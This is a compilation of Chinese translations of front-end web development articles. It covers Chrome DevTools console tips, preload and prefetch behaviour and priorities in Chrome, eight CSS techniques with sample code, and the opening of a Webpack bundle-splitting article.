  • monitorEvents($(‘selector’),’eventName’) 将打印与元素绑定的特定事件。 你可以将事件名称作为参数传递给函数。 这将仅记录绑定到特定元素的特定事件。 例如,monitorEvents($(‘#firstName’),’click’) 将打印绑定到ID为'firstName'的元素的所有 click 事件。

  • monitore($(selector),[eventName1, eventName3', .])将根据您自己的需求记录多个事件。与其传递单个事件名作为参数,不如传递包含所有事件的字符串数组。例如monitore($(#firstName),[click, focus])将记录与ID firstName元素绑定的 click事件和focus事件。

  • unmonitorevent ($(selector)):这将停止监视和打印控制台中的事件。

检查 DOM 中的一个元素

你可以直接从控制台检查一个元素:

  • inspect($(‘selector’)) 将检查与选择器匹配的元素,并转到 Chrome Developer Tools中的 Elements 选项卡。 例如, inspect($(‘#firstName’)) 将检查 ID为'firstName' 的元素,spect($(‘a’)[3]) 将检查 DOM 中的第 4 个 a 元素。

  • $0, $1, $2 等可以帮助你获取最近检查过的元素。 例如,$0 表示最后检查的 DOM 元素,而$1 倒数第二个检查的 DOM 元素。

检索最后一个结果的值

你可以将控制台用作计算器。当你这样做的时候,你可能需要用第二个来跟踪一个计算。以下是如何从内存中检索先前计算的结果:

$_ 

过程如下:

2+3+4
9 //- The Answer of the SUM is 9

$_
9 // Gives the last Result

$_ * $_
81  // As the last Result was 9

Math.sqrt($_)
9 // As the last Result was 81

$_
9 // As the Last Result is 9

清除控制台和内存

如果你想清除控制台及其内存,输入如下:

 clear()

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文: https://medium.com/@mattburgess/beyond-console-log-2400fdf4a9d8

https://medium.freecodecamp.org/10-tips-to-maximize-your-javascript-debugging-experience-b69a75859329

你的点赞是我持续分享好东西的动力,欢迎点赞!

一个笨笨的码农,我的世界只能终身学习!

更多内容请关注公众号《大迁世界》

Web 性能优化:Preload,Prefetch的使用及在 Chrome 中的优先级

今天,我们将深入研究Chrome 的网络栈,以明确 web 加载原语(如<link rel= preload > & <link rel= prefetch >) 背后的工作原理,以便你能够更有效地使用它们。

如其他文章所述,preload 是一个声明式 fetch,可以强制浏览器在不阻塞 documentonload 事件的情况下请求资源。

Prefetch 告诉浏览器这个资源将来可能需要,但是什么时间加载这个资源是由浏览器来决定的。

在预加载(perload)之前,网络请求从这里开始,预加载之后,它在解析时从左向右移动

image

使用预加载(perload)的一些案例

在详细介绍 预加载(perload) 之前,先来看看一些使用 预加载(perload) 的案例。

Housing.com 在对他们的渐进式 Web 应用程序的脚本转用 proload 看到大约缩短了10%的可交互时间

image

Shopify 使用 preload 加载 Web字体后,Chrome 桌面版)的文本绘制时间(1.2秒)提高了50%,这完全解决了他们的文字闪动问题。

左边:使用 preload,右边:不使用 preload

左边:使用 preload,右边:不使用 preload

image

使用<link rel=”preload”> 加载字体

Treebo,印度最大的旅馆网站之一,在 3G 网络下对其桌面版试验,在对其顶部图片和主要的 Webpack 打包文件使用 preload 之后,在首屏绘制和可交互延迟分别减少了 1s。

image

同样的,在对自己的渐进式 Web 应用程序主要打包文件使用 preload 之后,Flipkart 在路由解析之前 节省了大量的主线程空闲时间(在 3G 网络下的低性能手机下)。

image

上面:没有使用 proload 加载,下面:使用 preload 加载

Chrome 数据保护程序团队发现,对于那些可以在脚本和 CSS 样式表上使用 preload 的页面,发现页面首次绘制时间获得平均 12% 的速度提升。

对于 prefetch(预读取),它被广泛使用,在 Google 我们仍用它来预读取一些可以加快 搜索结果页面 的渲染的关键资源。

Preload 在大型网站中都有很好运用,你可以在本文后面找到更多这些安全。 在此之前,让我们深入了解网络堆栈如何实际处理 预加载(prefetch)与预读取(prefetch)

何时使用 和 ?

提示:preload 加载资源一般是当前页面需要的,prefetch 一般是其它页面有可能用到的资源。

preload 是告诉浏览器预先请求当前页面需要的资源(关键的脚本,字体,主要图片等)。

prefetch 应用场景稍微又些不同 —— 用户将来可能跳转到其它页面需要使用到的资源。如果 A 页面发起一个 B 页面的 prefetch 请求,这个资源获取过程和导航请求可能是同步进行的,而如果我们用 preload 的话,页面 A 离开时它会立即停止。

preloadprefetch 之间,我们对当前页面或即将跳转的页面在所需主要资源的问题有了一个解决方案。

和 的缓存行为

Chrome 有四种缓存: HTTP 缓存,内存缓存,Service Worker 缓存和 Push 缓存。preload 和 prefetch 都被存储在 HTTP 缓存中

当资源被 preload 或者 prefetch 后,会从网络堆栈传输到 HTTP 缓存并进入渲染器的内存缓存。 如果资源可以被缓存(例如,存在有效的 cache-control 和 max-age),它将存储在 HTTP 缓存中,可用于当前和未来的会话。 如果资源不可缓存,则不会将其存储在 HTTP 缓存中。 相反,它会被缓存到内存缓存中并保持不变直到它被使用。

Chrome 的网络栈中是如何处理 preload 和 prefetch 的优先级?

下面是在 Blink 内核的 Chrome 46 及更高版本中不同资源的加载优先级情况著作权归作者所有。

image

preload 用 “as” 或者用 “type” 属性来表示他们请求资源的优先级(比如说 preload 使用 as="style" 属性将获得最高的优先级)。没有 “as” 属性的将被看作异步请求,“Early”意味着在所有未被预加载的图片请求之前被请求(“late”意味着之后)

我们来谈一下这张表。

脚本根据它们在文件中的位置是否异步、延迟或阻塞获得不同的优先级:

  • 网络在第一个图片资源之前阻塞的脚本在网络优先级中是中级

  • 网络在第一个图片资源之后阻塞的脚本在网络优先级中是低级

  • 异步/延迟/插入的脚本(无论在什么位置)在网络优先级中是很低级

图像在可视窗口中比不在视口中的图像(具有更高的优先级,因此在某种程度上, Chrome 将会尽量懒加载这些不在视口中的图片。 较低优先级的图片出现在视口中时,该图片的优先级就会得到提升(但是注意已经在布局完成后的图片优先级不会在更改)。

使用“as”属性预加载的资源将具有与它们请求的资源类型相同的资源优先级。 例如,preload as =“style”将获得最高优先级,而as =“script”将获得低优先级或中优先级。 这些资源也遵循相同的CSP策略(例如脚本受 script-src 约束)。

不带 “as” 属性的 preload 的优先级将会等同于异步请求。

如果你想了解各种资源加载时的优先级属性,从开发者工具的 Timeline/Performance 区域的 Network 区域都能看到相关信息:

image

在 Network 面板下的 “Priority” 部分

image

当页面 preload 已经在 Service Worker 缓存及 HTTP 缓存中的资源时会发生什么?

这各情况来说是比较少的,但通常来说,会是比较好的情况 —— 如果资源没有超出 HTTP 缓存时间或者 Service Worker 没有主动重新发起请求,那么浏览器就不会再去请求这个资源了。

如果资源在 HTTP 缓存中(在SW缓存和网络之间),那么 preload 会从相同的资源中获得缓存命中。

这种加载方式会浪费用户的带宽吗

使用 preload 或 prefetch,可能会浪费用户的带宽,特别是在资源没有缓存的情况下。

没有用到的 preload 资源在 Chrome 的 console 里会在 onload 事件 3s 后发生警告。

image

这个警告的原因是,你可能正在使用preload来尝试为其他资源预加载并缓存以提高性能,但是如果这些预加载的资源没有被使用,那么你就在毫无理由地做额外的工作。在移动设备上,这相当于浪费用户的流量,所以要注意预加载的内容。

什么情况会导致二次获取?

preloadprefetch 是很简单的工具,你很容易不小心二次获取。

不要用 “prefetch” 作为 “preload” 的后备方案 ,它们适用于不同的场景,常常会导致不符合预期的二次获取。使用 preload 来获取当前需要任务否则使用 prefetch 来获取将来的任务,不要一起用。

image

对 preload 使用 “as” 属性,不然将不会从中获益。

如果在指定要 preload 的内容(例如脚本)时未提供有效的“as”,则最终将获取两次。

preload 字体不带 crossorigin 也将会二次获取, 确保在使用 preload 获取字体时添加crossorigin 属性,否则将二次下载。 他这个请求使用匿名的跨域模式。 即使字体与页面位于同个域 下,也建议使用。也适用于其他域名的获取(比如说默认的异步获取)。

最后,虽然它不会导致两次获取,但这通常是一个很好的建议:

不要所有的请求资源都加 preload,用 preload 来告诉浏览器一些很被需要的资源,以便让它提早获取它们。

我应当在页面头部所有的资源都加上 preload

这是工具的一个很好的例子,而不是规则。 preload 的文件数量取决于加载其他资源时网络内容、用户的带宽和其他网络状况。

尽早 preload 页面中可能需要的文件,对于脚本,preload 你的关键模块是很好的,因为它将获取与执行分开,而仅仅使用 <script async> 不会这样做,因为它会阻止窗口的 onload 事件。你可以 preload 图像、样式、字体和媒体。最重要的是,作为一名页面作者,你可以更好地控制提前获取页面所需要的信息。

prefetch 是否具有你应该注意的任何魔法属性? 是的,

在 Chrome 中,如果用户导航离开一个页面,而对其他页面的预取请求仍在进行中,这些请求将不会被终止。

此外,无论资源的可缓存性如何,prefetch 请求在未指定的网络堆栈缓存中至少保存 5 分钟。

我在 JS 中使用自定义的 “preload”,它跟原本的 rel="preload" 或者 preload 头部有什么不同?

preload 解耦从 JS 处理和执行中获取资源。 因此,preload 在标记中声明以被 Chrome preload 扫描器扫描。 这意味着在许多情况下,在 HTML 解析器甚至到达标签之前,将获取预加载(具有指示的优先级),这使它比自定义预加载实现更强大。

不是可以用 HTTP/2 的服务器推送来代替 preload 吗?

当你知道资源的精确加载顺序时使用推送,并让 service worker 拦截可能导致再次推送缓存资源的请求。 使用 preload 可以使资源的开始下载时间更接近初始请求 - 这对所有的资源获取都有用。

我们假设浏览器正在加载一个页面,页面中有个 CSS 文件,CSS 文件又引用一个字体库,对于这样的场景,

若使用 HTTP/2 PUSH,当服务端获取到 HTML 文件后,知道以后客户端会需要字体文件,它就立即主动地推送这个文件给客户端,如下图:

image

而对于 preload,服务端就不会主动地推送字体文件,在浏览器获取到页面之后发现 preload 字体才会去获取,如下图:

image

虽然推送很有效,但它不像 preload 那样对所有的情况都适应。

推送不能用于第三方资源的内容,通过立即发送资源,它还有效地缩短浏览器自身的资源优先级情况。在你明确的知道在做什么时,这应该会提高你的应用性能,如果不是很清晰的话,你也许会损失掉部分的性能。

peload 请求头是什么?它与 preload 标签相比如何?它与 HTTP/2 服务器推送有什么关系?

与其他类型的链接一样,preload 链接即可以使用 HTML标记 或 HTTP标头。 在任何一种情况下,preload 链接都会指示浏览器开始将资源加载到内存缓存中,这表明该页面有很高可能性使用该资源,并且不希望等待预加载扫描程序或解析程序发现它。

当金融时报在它们的网站使用 preload HTTP 头时,他们节约了大约 1s 的显示片头图片时间。

image

1: 没有使用 preload 2:使用了 preload

你可以使用任何一种形式提供 preload 链接,但是你应该知道一个重要区别:如规范所允许的,许多服务器在遇到 HTTP 头的 preload 链接时会触发 HTTP/2 服务器推送。 HTTP/2 推送的性能影响不同于普通的预加载,所以你要确保没有发起不必要的推送。

你可以使用 preload 标签来代替 preload 头以避免不必要的推送,或者在你的 HTTP 头上加一个 “nopush” 属性。

如何判断 的支持情况?

以下的代码段可以判断 <link rel=”preload”>支持情况:

const preloadSupported = () => {
  const link = document.createElement('link');
  const relList = link.relList;
  if (!relList || !relList.supports)
    return false;
  return relList.supports('preload');
};

FilamentGroup 也有一个 preload 检测器 ,作为他们的异步 CSS 加载库 loadCSS 的一部分。

可以使用 preload 让CSS样式立即生效吗?

当然可以,preload 支持基于异步加载的标记,使用 <link rel=”preload”> 的样式表可以使用 onload 事件立即应用于当前文档:

<link rel="preload" href="style.css" onload="this.rel=stylesheet">

preload 还被哪些网站广泛的应用?

根据 HTTPArchive,大多数使用 <link rel =“preload”>的网站使用它来预加载Web字体,包括 Teen Vogue 和前面提到的 Shopify

image

而 LifeHacker 和 JCPenny 等其他热门网站使用它来异步加载CSS(通过Filament Group loadCSS):

image

然后,有越来越多的渐进式 Web 应用程序(如 Twitter.com mobile、Flipkart 和Housing)使用它来预加载当前导航所需的脚本(使用PRPL等模式)

image

其基本**是以高粒度维护工件(而不是整体捆绑),所以任何应用都可以按需加载依赖或者预加载资源并放在缓存中。

当前浏览器对 preload 和 Prefetch 的支持程序如何

根据 CanIUse,<link rel =“preload”>50% 的支持度, <link rel =“prefetch”>71%

相关阅读

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

8个有用的 CSS 技巧:视差图像,sticky footer 等等

CSS是一种独特的语言。乍一看,这似乎很简单,但是,某些在理论上看起来很简单的效果在实践中往往不那么明显。

在本文中,我将分享一些有用的技巧和技巧,它们代表了我在学习CSS过程中的关键进展。本文并不是要演示CSS可以变得多么复杂。相反,它分享了一些在大多数CSS教程中不太可能找到的有用技巧。

1. Sticky Footer

这个非常常见的需求,但对于初学者来说可能是个难题。

对于大多数项目,不管内容的大小,都希望页脚停留在屏幕的底部—如果页面的内容经过了视图端口,页脚应该进行调整。

在CSS3之前,如果不知道脚的确切高度,就很难达到这种效果。虽然我们称它为粘性页脚,但你不能简单地用 position: sticky 来解决这个问题,因为它会阻塞内容。

今天,最兼容的解决方案是使用 Flexbox。主要的做法是在包含页面主要内容的
div 上使用不太知名的 flex-grow 属性,在下面的示例中,我使用的是 main 标签。

flex-grow 控制 flex 项相对于其他 flex 元素填充其容器的数量。当值为 0 时,它不会增长,所以我们需要将它设置为 1 或更多。在下面的示例中,我使用了简写属性 flex: auto,它将 flex-grow 默认设置为 1

为了防止任何不必要的行为,我们还可以在 footer 标签中添加 flex-shrink: 0flex-shrink 实际上与 flex-growth 属性相反,控制 flex 元素收缩到适合其容器的大小,将它设置为 0 刚防止 footer 标签收缩,确保它保留其尺寸。

clipboard.png

    // html
    <div id="document">
      <main>
        <h1>Everything apart from the footer goes here</h1>
        <p>Add more text here, to see how the footer responds!</p>
      </main>
      <footer>
        <h1>The footer goes here</h1>
      </footer>
    </div>

    // css
    #document { 
        height: 100vh;
        display: flex;
        flex-direction: column;
    }
    
    main {
      flex: auto;
    }
    
    footer {
        flex-shrink: 0;
    }
    
    /* Other styling elements, that are not necessary for the example */
    
    * {
      margin: 0;
      font-family: Candara;
    }
    
    h1, p {
      padding: 20px;
    }
    
    footer {
      color: white;
      background: url(https://images.unsplash.com/photo-1550795598-717619d32900?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=676&q=80);
      background-position: center; 
      background-repeat: no-repeat;
      background-size: cover;
    }
    
    footer > h1 {
      text-shadow: 1px 1px 4px #00000080;
    }

查看演示

2. Zoom-on-Hover

clipboard.png

zoom-on-hover 效果是将注意力吸引到可点击图像上的好方法。当用户将鼠标悬停在上面时,图像会稍微放大,但其尺寸保持不变。

为了达到这个效果,需要用 div 标签包裹 img 标签。

要使此效果生效,需要设置父元素的 widthheight ,并确保将 overflow 设置为 hidden,然后,你可以将任何类型的转换动画效果应用于内部图像。

// html
<div class="img-wrapper">
    <img class="inner-img" src="https://source.unsplash.com/random/400x400" />
</div>

<!-- Additional examples -->

<div class="img-wrapper">
    <img class="inner-img" src="https://source.unsplash.com/random/401x401" width="400px" height="400px" />
</div>

<div class="img-wrapper">
    <img class="inner-img" src="https://source.unsplash.com/random/402x402" width="400px" height="400px" />
</div>

// css
.img-wrapper {  
  width: 400px;
  height: 400px;
  overflow: hidden; 
}

.inner-img {
  transition: 0.3s;
}

.inner-img:hover {
  transform: scale(1.1);
}

查看演示

3. 即时夜间模式

如果你正在寻找一个快速的方法来应用“夜间模式”皮肤到你的网站,可以使用 inverthue-rotate 过滤器。

filter: invert() 的范围是从 0 到 1,其中 1 从白色变为黑色。

filter: hue-rotate() 改变元素的颜色内容,使它们或多或少保持相同的分离水平, 其值范围为 0deg360deg

通过将这些效果组合在 body 标签上,可以快速试用网站的夜间模式(注意,为了影响背景,你必须给它一个颜色。)

使用这些设置,我们可以给谷歌的主页一个即时改造:

图片描述

4.自定义的要点

clipboard.png

要为无序列表创建自定义项目符号,可以使用 content 属性和 ::before 伪元素。

在下面的 CSS 中,我使用 .complete.incomplete 两个类来区分两种不同类型的项目符号。

ul {
  list-style: none;
}
ul.complete li::before {
  content: '🗹 ';
}
ul.incomplete li::before {
  content: '☐ ';
}

查看演示

额外用途:面包屑导航

clipboard.png

利用 content 属性有许多更有用的方法,这里忍不住又多介绍一种。

由于用于分隔面包屑的斜杠和其他符号具有样式性,所以在CSS中定义它们很有意义。和本文中的许多例子一样,这种效果依赖于CSS3中提供的伪类——last-child——:

.breadcrumb a:first-child::before {
  content: " » ";
}
.breadcrumb a::after {
  content: " /";
}
.breadcrumb a:last-child::after {
  content: "";
}

查看演示

5. 视差图像 (Parallax Images)

这种引人注目的效果越来越受欢迎,当用户滚动页面时,它可以给页面带来生气。

当一个页面的正常图像随着用户滚动而移动时,视差图像看起来是固定的——只有通过它可见的窗口才会移动。

仅 CSS 示例

图片描述

// html
<div class="wrapper">
  <h1>Scroll Down</h1>  
  <div class="parallax-img"></div>
  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
  <p>Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?</p>
  <p>At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat.</p>
</div>
<div class="wrapper">
</div>

// css
.wrapper {
  height: 100vh;
}

.parallax-img {
  height: 100%;
  background-attachment: fixed;
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}

/* Other styling elements, that are not necessary for the example */

    body {
      margin: 0;
      background: #000;
    }
    
    * {
      font-family: Candara;
      color: white;
    }
    
    h1 {
      margin: 15px;
      text-align: center;
    }
    
    p {
      margin: 15px;
      font-size: 1.1rem;
    }
    
    .parallax-img {
      background-image: url('https://source.unsplash.com/random/1920x1080');
    }

查看演示

CSS + JavaScript 示例

要获得更高级的效果,可以使用 JavaScript 在用户滚动时向图像添加移动。

图片描述

// html
<div class="block">
  <img src="https://unsplash.it/1920/1920/?image=1005" data-speed="-1" class="img-parallax">
  <h2>Parallax Speed -1</h2>
</div>
<div class="block">
  <img src="https://unsplash.it/1920/1920/?image=1067" data-speed="1" class="img-parallax">
  <h2>Parallax Speed 1</h2>
</div>
<div class="block">
  <img src="https://unsplash.it/1920/1920/?gravity=center" data-speed="-0.25" class="img-parallax">
  <h2>Parallax Speed -0.25</h2>
</div>
<div class="block">
  <img src="https://unsplash.it/1920/1920/?image=1080" data-speed="0.25" class="img-parallax">
  <h2>Parallax Speed 0.25</h2>
</div>
<div class="block">
  <img src="https://unsplash.it/1920/1920/?random" data-speed="-0.75" class="img-parallax">
  <h2>Parallax Speed -0.75</h2>
</div>
<div class="block">
  <img src="https://unsplash.it/1920/1920/?blur" data-speed="0.75" class="img-parallax">
  <h2>Parallax Speed 0.75</h2>
</div>

// css
@import url(https://fonts.googleapis.com/css?family=Amatic+SC:400,700);
html, body{
  margin: 0;
  padding: 0;
  height: 100%;
  width: 100%;
  font-family: 'Amatic SC', cursive;
}
.block{
  width: 100%;
  height: 100%;
  position: relative;
  overflow: hidden;
  font-size: 16px;
}
.block h2{
  position: relative;
  display: block;
  text-align: center;
  margin: 0;
  top: 50%;
  transform: translateY(-50%);
  font-size: 10vw;
  color: white;
  font-weight: 400;
}
.img-parallax {
  width: 100vmax;
  z-index: -1;
  position: absolute;
  top: 0;
  left: 50%;
  transform: translate(-50%,0);
  pointer-events: none
}

// js

// I know that the code could be better.
// If you have some tips or improvement, please let me know.

$('.img-parallax').each(function(){
  var img = $(this);
  var imgParent = $(this).parent();
  function parallaxImg () {
    var speed = img.data('speed');
    var imgY = imgParent.offset().top;
    var winY = $(this).scrollTop();
    var winH = $(this).height();
    var parentH = imgParent.innerHeight();


    // The next pixel to show on screen      
    var winBottom = winY + winH;

    // If block is shown on screen
    if (winBottom > imgY && winY < imgY + parentH) {
      // Number of pixels shown after block appear
      var imgBottom = ((winBottom - imgY) * speed);
      // Max number of pixels until block disappear
      var imgTop = winH + parentH;
      // Porcentage between start showing until disappearing
      var imgPercent = ((imgBottom / imgTop) * 100) + (50 - (speed * 50));
    }
    img.css({
      top: imgPercent + '%',
      transform: 'translate(-50%, -' + imgPercent + '%)'
    });
  }
  $(document).on({
    scroll: function () {
      parallaxImg();
    }, ready: function () {
      parallaxImg();
    }
  });
});

查看演示

6. 裁剪图像动画

图片描述

与粘性页脚一样,在 CSS3 之前裁剪图像也非常棘手。现在,我们有两个属性使裁剪变得简单,object-fitobject-position,它们一起允许你更改图像的尺寸而不影响它的长宽比。

以前,总是可以在照片编辑器中裁剪图像,但是在浏览器中裁剪图像的一个很大的优势是可以将图像大小调整为动画的一部分。

为了尽可能简单地演示这种效果,下面的示例使用 <input type="checkbox"> 标记触发这种效果。这样,我们可以利用CSS的 :checked 伪类,我们不需要使用任何JavaScript:

// html
<input type="checkbox" />
<br />
<img src="https://source.unsplash.com/random/1920x1080" alt="Random" />


input {
  transform: scale(1.5)
  margin:10px 5px;
}

img {
  width: 1920px;
  height: 1080px;
  transition: 0s;
}

input:checked +br + img{
  width: 500px;
  height: 500px;
  object-fit: cover;
  object-position: left-top;
   transition: width 2s, height 4s;
}

查看演示

7. 混合模式(Blend Modes)

如果你有使用 Photoshop 的经验,你可能知道它不同的混合模式是多么强大,可以创建有趣的效果。但是你知道 Photoshop 的大部分混合模式也可以在 CSS 中使用吗?

当图像的被设置为 background-color:lightblue; blend-mode:difference ; ,这就是Medium 的主页的样子:

图片描述

此外,背景并不是利用混合模式的唯一方法。mix-blend-mode 属性允许你将元素与其现有背景进行混合。例如,使用如下样式创建这样的效果:

图片描述

    // html
    <h1>This is an example title</h1>

// css
h1 {
    mix-blend-mode: color-dodge;
    font-family: Candara;
    font-size: 5rem;
    text-align: center;
    margin: 0; 
    padding: 20vh 200px;
    color: lightsalmon;
  }


  html,
  body {
    margin: 0;
    background-color: white;
  }

  body {
    background-image: url(https://images.unsplash.com/photo-1550589348-67046352c5f3?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1353&q=80);
    background-repeat: no-repeat;
    background-size: cover;
    min-height: 100vh;
    overflow: hidden;
}   

查看演示

8. Pinterest-style 图像

CSS Grid和Flexbox使得实现多种不同类型的响应式布局变得更加容易,并且允许我们在页面上很容易地将元素垂直居中——这在以前是非常困难的。

然而,它们不太适合的一种布局风格是 Pinterest 使用的布局风格,即每个元素的垂直位置都根据其上方元素的高度而变化。

图片描述

实现此目的的最佳方法是使用 CSS 的列属性套件。 这些最常用于创建多个报纸样式的文本列,但这是另一个很好的用例。

要实现这一点,需要将元素包装在 div 中,并为该包装器提供一个 column-widthcolumn-gap 属性。

然后,为了防止任何元素被分割到两个列中,使用 column-break-inside:avoid 将其添加到单个元素中。

图片描述

// html
<div id="columns">
  <figure>
  <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/cinderella.jpg">
    <figcaption>Cinderella wearing European fashion of the mid-1860’s</figcaption>
    </figure>
    
    <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/rapunzel.jpg">
    <figcaption>Rapunzel, clothed in 1820’s period fashion</figcaption>
    </figure>
    
  <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/belle.jpg">
    <figcaption>Belle, based on 1770’s French court fashion</figcaption>
    </figure>
  
    <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/mulan_2.jpg">
    <figcaption>Mulan, based on the Ming Dynasty period</figcaption>
    </figure>
    
   <figure>
     <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/sleeping-beauty.jpg">
    <figcaption>Sleeping Beauty, based on European fashions in 1485</figcaption>
    </figure>
    
   <figure>
     <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/pocahontas_2.jpg">
    <figcaption>Pocahontas based on 17th century Powhatan costume</figcaption>
    </figure>
  
    <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/snow-white.jpg">
    <figcaption>Snow White, based on 16th century German fashion</figcaption>
    </figure>   
  
   <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/ariel.jpg">
    <figcaption>Ariel wearing an evening gown of the 1890’s</figcaption>
    </figure>
  
    <figure>
    <img src="//s3-us-west-2.amazonaws.com/s.cdpn.io/4273/tiana.jpg">
    <figcaption>Tiana wearing the <i>robe de style</i> of the 1920’s</figcaption>
    </figure>   
  <small>Art &copy; <a href="//clairehummel.com">Claire Hummel</a></small>
    </div>

// css
@font-face{font-family:'Calluna';
 src:url('https://s3-us-west-2.amazonaws.com/s.cdpn.io/4273/callunasansregular-webfont.woff') format('woff');
}
body {
    background: url(//subtlepatterns.com/patterns/scribble_light.png);
  font-family: Calluna, Arial, sans-serif;
  min-height: 1000px;
}
#columns {
    column-width: 320px;
    column-gap: 15px;
  width: 90%;
    max-width: 1100px;
    margin: 50px auto;
}

div#columns figure {
    background: #fefefe;
    border: 2px solid #fcfcfc;
    box-shadow: 0 1px 2px rgba(34, 25, 25, 0.4);
    margin: 0 2px 15px;
    padding: 15px;
    padding-bottom: 10px;
    transition: opacity .4s ease-in-out;
  display: inline-block;
  column-break-inside: avoid;
}

div#columns figure img {
    width: 100%; height: auto;
    border-bottom: 1px solid #ccc;
    padding-bottom: 15px;
    margin-bottom: 5px;
}

div#columns figure figcaption {
  font-size: .9rem;
    color: #444;
  line-height: 1.5;
}

div#columns small { 
  font-size: 1rem;
  float: right; 
  text-transform: uppercase;
  color: #aaa;
} 

div#columns small a { 
  color: #666; 
  text-decoration: none; 
  transition: .4s color;
}

div#columns:hover figure:not(:hover) {
    opacity: 0.4;
}

@media screen and (max-width: 750px) { 
  #columns { column-gap: 0px; }
  #columns figure { width: 100%; }
}

查看演示

上面的例子也是 CSS:not() 伪类的一个很好的例子。他将它与 :hover 一起使用,这样除了盘旋的元素外,其他元素都将淡出。

其它的资源

总的来说,我希望下面的例子已经了说明了一些有用的 CSS 效果,甚至可能会让你注意到一些你没有见到过的特性。

像这样的特性并不属于“简单技巧”的范畴,它们可以自己进行相当深入的探索。所以我不打算在这里描述它们,下面介绍一些很好资源来了解它们:

Keyframe animation

Scroll-snapping

多级导航

3D 效果

CSS的打印

设计原则

原文:https://medium.com/@bretcameron/parallax-images-sticky-footers-and-more-8-useful-css-tricks-eef12418f676

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

Web 性能优化: 使用 Webpack 分离数据的正确方法

制定向用户提供文件的最佳方式可能是一项棘手的工作。 有很多不同的场景,不同的技术,不同的术语。

在这篇文章中,我希望给你所有你需要的东西,这样你就可以:

  1. 了解哪种文件分割策略最适合你的网站和用户
  2. 知道怎么做

根据 Webpack glossary,有两种不同类型的文件分割。 这些术语听起来可以互换,但显然不是。

Webpack 文件分离包括两个部分,一个是 Bundle splitting,一个是 Code splitting:

  • Bundle splitting: 创建更多更小的文件,并行加载,以获得更好的缓存效果,主要作用就是使浏览器并行下载,提高下载速度。并且运用浏览器缓存,只有代码被修改,文件名中的哈希值改变了才会去再次加载。

  • Code splitting:只加载用户最需要的部分,其余的代码都遵从懒加载的策略,主要的作用就是加快页面的加载速度,不加载不必要的代码。

第二个听起来更吸引人,不是吗?事实上,关于这个问题的许多文章似乎都假设这是制作更小的JavaScript 文件的惟一值得的情况。

但我在这里要告诉你的是,第一个在很多网站上都更有价值,应该是你为所有网站做的第一件事。

就让我们一探究竟吧。

Bundle splitting

bundle splitting 背后的**非常简单,如果你有一个巨大的文件,并且更改了一行代码,那么用户必须再次下载整个文件。但是如果将其分成两个文件,那么用户只需要下载更改的文件,浏览器将从缓存中提供另一个文件。

值得注意的是,由于 bundle splitting 都是关于缓存的,所以对于第一次访问来说没有什么区别。

(我认为太多关于性能的讨论都是关于第一次访问一个站点,或许部分原因是“第一印象很重要”,部分原因是它很好、很容易衡量。

对于经常访问的用户来说,量化性能增强所带来的影响可能比较棘手,但是我们必须进行量化!

这将需要一个电子表格,因此我们需要锁定一组非常特定的环境,我们可以针对这些环境测试每个缓存策略。

这是我在前一段中提到的情况:

  • Alice 每周访问我们的网站一次,持续 10 周

  • 我们每周更新一次网站

  • 我们每周都会更新我们的“产品列表”页面

  • 我们也有一个“产品详细信息”页面,但我们目前还没有开发

  • 在第 5 周,我们向站点添加了一个新的 npm 包

  • 在第 8 周,我们更新了一个现有的 npm 包

某些类型的人(比如我)会尝试让这个场景尽可能的真实。不要这样做。实际情况并不重要,稍后我们将找出原因。

基线

假设我们的 JavaScript 包的总容量是400 KB,目前我们将它作为一个名为 main.js 的文件加载。

